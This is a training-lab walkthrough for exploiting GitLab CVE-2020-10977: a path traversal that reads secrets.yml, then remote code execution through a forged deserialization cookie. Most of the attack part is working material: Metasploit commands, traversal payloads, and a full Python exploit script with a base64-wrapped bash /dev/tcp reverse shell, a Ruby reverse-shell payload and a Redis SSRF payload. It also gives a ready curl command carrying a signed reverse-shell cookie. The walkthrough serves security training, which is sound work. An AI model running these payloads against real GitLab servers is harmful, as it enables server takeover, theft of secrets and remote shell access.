GitLab_File_Read_Remote_Code_Execution
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Description
In 2020, a critical vulnerability was found in the GitLab server. An issue discovered in GitLab CE/EE 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects. This leads to the arbitrary file read via the UploadsRewriter and remote command execution on the vulnerable GitLab server. The problem was discovered by William Bowling.
This exercise is to understand how to exploit the vulnerable Gitlab (CVE-2020-10977) to gain a meterpreter session on the target machine.
Purpose: We are learning how to exploit Gitlab using the Metasploit Framework module and will exploit the Gitlab application manually to better understand the vulnerability. Also, we will use the python scripts for exploiting Gitlab.
Technical difficulty: Beginner
What is GitLab?
GitLab Community Edition (CE) is an open-source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. Self-host GitLab CE on your own servers, in a container, or on a cloud provider.
GitLab is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently, while strengthening security and compliance. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency and traceability.
GitLab is an open core company which develops software for the software development lifecycle with 30 million estimated registered users and more than 1 million active license users, and has an active community of more than 2,500 contributors. GitLab openly shares more information than most companies and is public by default, meaning our projects, strategy, direction and metrics are discussed openly and can be found within our website. Our values are Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging , Iteration, and Transparency (CREDIT) and these form our culture.
Source: https://about.gitlab.com/company/
Also, before we get started, we highly recommend you to please refer this excellent blog by snovvcrash.
Vulnerable Code:
```
@text.gsub(@pattern) do |markdown|
file = find_file(@source_project, $~[:secret], $~[:file])
break markdown unless file.try(:exists?)
klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
moved = klass.copy_to(file, target_parent)
...
def find_file(project, secret, file)
uploader = FileUploader.new(project, secret: secret)
uploader.retrieve_from_store!(file)
uploader
end
```
There is no restriction on what file can be accessed; because of that, path traversal can be used to copy any file, depending on the file's permission. This vulnerability allows an attacker to read sensitive files i.e., including tokens, private data, configs, etc
Lab Environment
In this lab environment, the user will access a Kali GUI instance. A vulnerable machine GitLab server deployed on http://demo.ine.local.
Goal after completing this scenario: Exploit the Gitlab server using the Metasploit framework module and gain the shell. Then read the flag.
Tools
The best tools for this lab are:
- Nmap
- Bash Shell
- Metasploit Framework
- Python
Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!
[CVE-2021-22205]
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a local parent directory, but the software does not properly neutralize unique elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Read More: https://debricked.com/vulnerability-database/vulnerability/CVE-2020-10977
Affected products
- GitLab EE/CE 8.5 to 12.9
Solution
Step 1: Open the lab link to access the Kali machine.
Kali machine
Step 2: Check if the provided machine/domain is reachable.
Command
ping -c 4 demo.ine.local
The provided machine is reachable, and we also found the target's IP address.
Step 3: Check all open ports on the machine.
Command
nmap demo.ine.local
Two ports are open. The GitLab server is running on port 80.
Step 4: Run the firefox browser and access port 80 to identify the GitLab server.
The target is running the Gitlab server.
We can register a user on the target machine. Let's create a user i.e. test123:password_123
Step 5: Run the Metasploit framework and search for the GitLab exploit module.
Commands
msfconsole -q
search gitlab_file
There is one Metasploit module available. exploit/multi/http/gitlab_file_read_rce
Step 6: Use the gitlab_exif_rce exploit module and check all available options.
GitLab File Read Remote Code Execution
>This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.
Source: https://www.rapid7.com/db/modules/exploit/multi/http/gitlab_file_read_rce/
Commands
use exploit/multi/http/gitlab_file_read_rce
show options
The port is set to 80, which is the GitLab server port. Also, set RHOSTS and USERNAME, PASSWORD, which we have created, then run the module.
Commands
set RHOSTS demo.ine.local
set USERNAME test123
set PASSWORD password_123
check
The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
The module first reads the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file and reads the value of secret_key_base This is a base key that is used for generating various other secrets.
Exploit the server.
Commands:
exploit
id
We have gained a shell with git user privileges.
Step 7: Read the flag.
Commands:
ls ../../
cat ../../flag.txt
FLAG: 4f4de082e7e9b7e9305738e67df104be
Exploiting GitLab Manually
We know that there are two different issues on the target Gitlab server. The path traversal vulnerability allows an attacker to read the secrets.yml file. From there, one can read the secret_key_base that is useful for creating a signed experimentation_subject_id cookie and gains remote code execution with a deserialization vulnerability.
Step 8: Let's first login to the Gitlab server and create two projects.
eg, project1 and project2
Now, click on project1 and create a New Issue.
URL: http://demo.ine.local/test123/project1/issues/new
Payload to read /etc/passwd file.
![a](https://assets.ine.com/content/labs/vulnerability-labs/GitLab_File_Read_Remote_Code_Execution/passwd)
Submit the issue
Now, move the issue to project2. Once you move, you will be redirected to the project2 issue page.
Download the /etc/passwd file
We have successfully exploited path traversal vulnerability.
Now, read the secrets.yml file where we can get secret_key_base.
This time create another issue in project2 that will read the secrets.yml file.
URL: http://demo.ine.local/test123/project2/issues/new
Payload to read secrets.yml file.
By default, the secrets.yml file path is /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
Submit the issue
This time move the issue to project1.
Now, download the secrets.yml file and read it.
We have found the secret_key_base:
07577ae8da5ccdc224f6267d2cb05da4e846f6fc17d00bc7d5b0541d95697de2a5e5d6bb6616d0241990e360a932ea76974b8a2f0261ceab8af54822f2cf97c5
Now, a payload can be generated by the GitLab instances rails console. But, in the real world, that won't be the case. However, many python scripts create the payload for this vulnerability that can be used directly to execute a command on the target machine using curl. Or we can modify the code that will only print the given command.
The excellent Python script was written by dotPY-hax. We will use it to run commands on the target machine.
Step 9: Running the python script to exploit the LFI and command injection vulnerability. We also make a slight change in the code that will print the final signed experimentation_subject_id cookie that can be used to exploit the target manually using curl.
Python Script
```
"""
Gitlab RCE+LFI version <= 11.4.7, 12.4.0-12.8.1 - EDUCATIONAL USE ONLY
CVEs: CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF)
CVE-2020-10977
"""
import base64
import hashlib
import hmac
from html.parser import HTMLParser
import random
import string
import sys
import time
import urllib.parse
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class GitlabRCE:
description = "oopsie woopsie we made a fucky wucky a wittle fucko boingo!"
def __init__(self, gitlab_url, local_ip):
self.url = gitlab_url
self.local_ip = local_ip
self.port = 42069
change this if the gitlab has restricted email domains
self.email_domain = "gmail.htb"
self.session = requests.session()
self.username = ""
self.password = ""
self.projects = []
self.issues = []
def get_authenticity_token(self, url, i=-1):
result = self.session.get(url, verify=False)
parser = GitlabParse()
token = parser.feed(result.text, i)
if not token:
print("could not get token!")
self.abort()
return token
def randomize(self):
sequence = string.ascii_letters + string.digits
random_list = random.choices(sequence, k=10)
random_string = "".join(random_list)
return random_string
def register_user(self):
authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in")
self.username = self.randomize()
self.password = self.randomize()
email = "{}@{}".format(self.username, self.email_domain)
data = {"new_user[email]": email, "new_user[email_confirmation]": email, "new_user[username]": self.username,
"new_user[name]": self.username, "new_user[password]": self.password,
"authenticity_token": authenticity_token}
result = self.session.post(self.url + "/users", data=data, verify=False)
print("registering {}:{} - {}".format(self.username, self.password, result.status_code))
def login_user(self):
authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in", 0)
data = {"authenticity_token": authenticity_token, "user[login]": self.username, "user[password]": self.password}
result = self.session.post(self.url + "/users/sign_in", data=data, verify=False)
print(result.status_code)
def delete_user(self):
authenticity_token = self.get_authenticity_token(self.url + "/profile/account")
data = {"authenticity_token": authenticity_token, "_method": "delete", "password": self.password}
result = self.session.post(self.url + "/users", data=data, verify=False)
print("delete user {} - {}".format(self.username, result.status_code))
def create_empty_project(self):
authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
project = self.randomize()
self.projects.append(project)
data = {"authenticity_token": authenticity_token, "project[ci_cd_only]": "false", "project[name]": project,
"project[path]": project, "project[visibility_level]": "0",
"project[description]": "all your base are belong to us"}
result = self.session.post(self.url + "/projects", data=data, verify=False)
print("creating project {} - {}".format(project, result.status_code))
def create_issue(self, project_id, text):
issue_link = "{}/{}/{}/issues".format(self.url, self.username, project_id)
authenticity_token = self.get_authenticity_token(issue_link + "/new")
issue_title = self.randomize()
self.issues.append(issue_title)
data = {"authenticity_token": authenticity_token, "issue[title]": issue_title, "issue[description]": text}
result = self.session.post(issue_link, data=data, verify=False)
print("creating issue {} for project {} - {}".format(issue_title, project_id, result.status_code))
def main(self):
print("main is not implemented")
def prepare_payload(self):
print("prepare_payload is not implemented")
def abort(self):
print("Something went wrong! ABORT MISSION!")
exit()
class GitlabRCE1147(GitlabRCE):
description = "RCE for Version <=11.4.7"
def exploit_project_creation(self, payload):
authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
project = self.randomize()
self.projects.append(project)
payload_template = """git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|{payload} \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
exec
exec
exec"""
using replace for formating is shit!! too bad...
payload = payload_template.replace("{payload}", payload)
data = {"authenticity_token": authenticity_token, "project[import_url]": payload,
"project[ci_cd_only]": "false", "project[name]": project,
"project[path]": project, "project[visibility_level]": "0",
"project[description]": "all your base are belong to us"}
result = self.session.post(self.url + "/projects", data=data, verify=False)
print("hacking in progress - {}".format(result.status_code))
def prepare_payload(self):
payload = "bash -i >& /dev/tcp/{}/{} 0>&1".format(self.local_ip, self.port)
wrapper = "echo {base64_payload} | base64 -d | /bin/bash"
base64_payload = base64.b64encode(payload.encode()).decode("utf-8")
payload = wrapper.format(base64_payload=base64_payload)
return payload
def main(self):
self.register_user()
self.exploit_project_creation(self.prepare_payload())
time.sleep(10)
self.delete_user()
class GitlabRCE1281LFI(GitlabRCE):
description = "LFI for version 10.4-12.8.1 and maybe more"
def __init__(self, gitlab_url, local_ip, file_to_lfi="/etc/passwd"):
super(GitlabRCE1281LFI, self).__init__(gitlab_url, local_ip)
self.file_to_lfi = file_to_lfi
def get_file(self, url, filename):
print("Grabbing file {}".format(filename))
result = self.session.get(url, verify=False)
return result.text
def get_technical_id_of_project(self, project_id):
url = "{}/{}/{}".format(self.url, self.username, project_id)
result = self.session.get(url, verify=False)
parser = ProjectIDParse()
technical_id = parser.feed(result.text)
return technical_id
def extract_link_from_issue_json(self, issue_json, project_id):
field = issue_json["description"]
file_name = field[field.find("[") + 1:field.find("]")]
file_path = field[field.find("(") + 1:field.find(")")]
url = "{}/{}/{}{}".format(self.url, self.username, project_id, file_path)
return url, file_name
def lfi_path(self):
return "![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})".format(
self.file_to_lfi)
def exploit_move_issue(self):
project = self.projects[0]
other_project = self.projects[-1]
url = "{}/{}/{}/issues/1".format(self.url, self.username, project)
technical_project_id_other_project = self.get_technical_id_of_project(other_project)
authenticity_token = self.get_authenticity_token(url)
issue_json = {"move_to_project_id": technical_project_id_other_project}
self.session.headers["X-CSRF-Token"] = authenticity_token
self.session.headers["Referer"] = url
result = self.session.post(url + "/move", json=issue_json, verify=False)
print("moving issue from {} to {} - {}".format(project, other_project, result.status_code))
url, filename = self.extract_link_from_issue_json(result.json(), other_project)
file_content = self.get_file(url, filename)
return file_content
def main(self):
self.register_user()
self.create_empty_project()
self.create_empty_project()
self.create_issue(self.projects[0], self.lfi_path())
file_content = self.exploit_move_issue()
print(file_content)
self.delete_user()
class GitlabRCE1281RCE(GitlabRCE1281LFI):
description = "RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP"
def parse_secrets(self, secrets):
secret_key_base = secrets[secrets.find("secret_key_base: ") + 17:secrets.find("otp_key_base") - 3]
return secret_key_base
def get_ruby_shit_byte(self):
ruby marshal REEEEEEEEEEEEEE
length = len(self.local_ip) + len(str(self.port)) - 8
possible_shit_bytes = "jklmnopqrstuvw"
return possible_shit_bytes[length]
def build_payload(self, secret):
payload = "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\"{ruby_shit_byte}exit if fork;c=TCPSocket.new(\"{ip}\",{port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT"
payload = payload.replace("{ip}", self.local_ip).replace("{port}", str(self.port)).replace("{ruby_shit_byte}",
self.get_ruby_shit_byte())
key = hashlib.pbkdf2_hmac("sha1", password=secret.encode(), salt=b"signed cookie", iterations=1000, dklen=64)
base64_payload = base64.b64encode(payload.encode())
digest = hmac.new(key, base64_payload, digestmod=hashlib.sha1).hexdigest()
return base64_payload.decode() + "--" + digest
def send_payload(self, payload):
cookie = {"experimentation_subject_id": payload}
print(cookie)
result = self.session.get(self.url + "/users/sign_in", cookies=cookie, verify=False)
print("deploying payload - {}".format(result.status_code))
def main(self):
self.file_to_lfi = "/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml"
self.register_user()
self.create_empty_project()
self.create_empty_project()
self.create_issue(self.projects[0], self.lfi_path())
file_contents = self.exploit_move_issue()
secret = self.parse_secrets(file_contents)
payload = self.build_payload(secret)
self.send_payload(payload)
self.delete_user()
class GitlabRCE1281LFIUser(GitlabRCE1281LFI):
def main(self):
self.file_to_lfi = self.ask_for_lfi_path()
super(GitlabRCE1281LFIUser, self).main()
def ask_for_lfi_path(self):
lfi_path = input(
"please type in the fully qualified path of the file you want to LFI. Uses {} when left empty: ".format(
self.file_to_lfi))
lfi_path = lfi_path.strip()
if not lfi_path:
return self.file_to_lfi
return lfi_path
class GitlabVersion(GitlabRCE):
def test(self):
try:
result = self.session.get(self.url, verify=False)
if result.status_code not in [200, 302]:
raise Exception("Host {} seems down".format(self.url))
except Exception as e:
print(e)
self.abort()
def get_version(self):
result = self.session.get(self.url + "/help", verify=False)
print("Getting version of {} - {}".format(self.url, result.status_code))
parse = VersionParse()
version = parse.feed(result.text)
return version
def main(self):
self.test()
self.register_user()
version = self.get_version()
print("The Version seems to be {}! Choose wisely".format(version))
self.delete_user()
if not version:
print("Could not get version!")
self.abort()
class GitlabParse(HTMLParser):
def __init__(self):
super(GitlabParse, self).__init__()
self.tokens = []
self.current_name = ""
def handle_starttag(self, tag, attrs):
if tag == "input":
for name, value in attrs:
if self.current_name == "authenticity_token" and name == "value":
self.tokens.append(value)
self.current_name = value
elif tag == "meta":
for name, value in attrs:
if self.current_name == "csrf-token":
self.tokens.append(value)
self.current_name = value
def feed(self, data, i):
super(GitlabParse, self).feed(data)
try:
return self.tokens[i]
except IndexError:
return None
class ProjectIDParse(HTMLParser):
def __init__(self):
super(ProjectIDParse, self).__init__()
self.project_found = False
self.project_id = None
def feed(self, data):
super(ProjectIDParse, self).feed(data)
return self.project_id
def handle_starttag(self, tag, attrs):
for name, value in attrs:
if self.project_found and name == "value":
self.project_id = int(value)
return
self.project_found = name == "id" and value == "project_id"
class VersionParse(HTMLParser):
def __init__(self):
super(VersionParse, self).__init__()
self.found_version = False
self.version = None
def handle_starttag(self, tag, attrs):
if tag == "a":
for name, value in attrs:
self.found_version = name == "href" and "/tags/v" in value
def handle_data(self, data):
if self.found_version and not self.version:
self.version = data
def feed(self, data):
super(VersionParse, self).feed(data)
return self.version
class Runner:
def __init__(self):
self.available_classes = [GitlabRCE1147, GitlabRCE1281LFIUser, GitlabRCE1281RCE]
self.local_ip = None
self.gitlab_url = None
self.run()
def banner(self):
print("Gitlab Exploit by dotPY [insert fancy ascii art]")
def get_version(self):
class_ = GitlabVersion(self.gitlab_url, self.local_ip)
class_.main()
def list_options_and_choose(self):
number = None
for i, class_ in enumerate(self.available_classes):
print("[{}] - {} - {}".format(i, class_.__name__, class_.description))
while number not in range(len(self.available_classes)):
try:
number = int(input("type a number and hit enter to choose exploit: "))
except ValueError:
pass
return self.available_classes[number]
def run_chosen_exploit(self, chosen_exploit):
class_ = chosen_exploit(self.gitlab_url, self.local_ip)
input("Start a listener on port {port} and hit enter (nc -vlnp {port})".format(port=class_.port))
class_.main()
def run(self):
args = sys.argv
if len(args) != 3:
print("usage: {} <http://gitlab:port> <local-ip>".format(args[0]))
return
else:
self.gitlab_url = args[1]
self.local_ip = args[2]
self.start()
def start(self):
self.banner()
self.get_version()
class_ = self.list_options_and_choose()
self.run_chosen_exploit(class_)
r = Runner()
```
Copy and paste the above code in the Kali GUI and run the PoC code to exploit LFI and perform RCE.
Check the script help option.
Command:
python3 PoC.py --help
Launch the script.
Note: Make sure you enter a valid local host IP address
Command:
python3 PoC.py http://demo.ine.local 10.10.27.2
Choose option 1: [1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more
We aren't performing RCE, so we can skip the Start a listener on port 42069 and hit enter (nc -vlnp 42069) option. Press enter.
Please type in the fully qualified path of the file you want to LFI. Uses /etc/passwd when left empty:
Press enter again to read the /etc/passwd file.
Successfully read the /etc/passwd file.
Again, launch the script, and this time select option 2 for RCE and gain the netcat reverse shell.
Command:
python3 PoC.py http://demo.ine.local 10.10.27.2
Start a listener on port 42069 and hit enter (nc -vlnp 42069).
Start netcat listener
Command:
nc -vlnp 42069
Important: Do not press enter, if you hit the enter key, the netcat shell will die.
We have successfully exploited the Gitlab server using the python script.
We can also notice the final signed experimentation_subject_id cookie that can be used to execute commands on the target server.
Copy the value and send it using curl to receive the netcat session again. Kill the existing session first.
Command:
```
curl -vvv 'http://demo.ine.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJInFleGl0IGlmIGZvcms7Yz1UQ1BTb2NrZXQubmV3KCIxMC4xMC4yNy4yIiw0MjA2OSk7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7fGlvfGMucHJpbnQgaW8ucmVhZH1lbmQGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7CVQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7CVQ=--06589556c6901eb902fdb2bd308ff0f8f6c542bb"
```
Gained the netcat shell.
Similarly, we can read sensitive log files and reset the existing user's password.
We highly recommend you to refer to this blog:
https://snovvcrash.rocks/2021/02/21/exploiting-cve-2020-10977-on-old-gitlab.html
Conclusion
We have learned to exploit the vulnerable Gitlab versions. This is a serious issue. One can easily compromise the Gitlab server by using these issues.
Always keep the system and Gitlab application updated. Keep an eye on the vulnerability (CVE) database for specific components that will help you understand the vulnerability type. One can quickly mitigate the issue before an online patch or a new version.
Also, Gitlab has its official blog post regarding Gitlab patches and vulnerability details. Highly recommended for all Gitlab-related information: https://about.gitlab.com/releases/categories/releases/
References
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!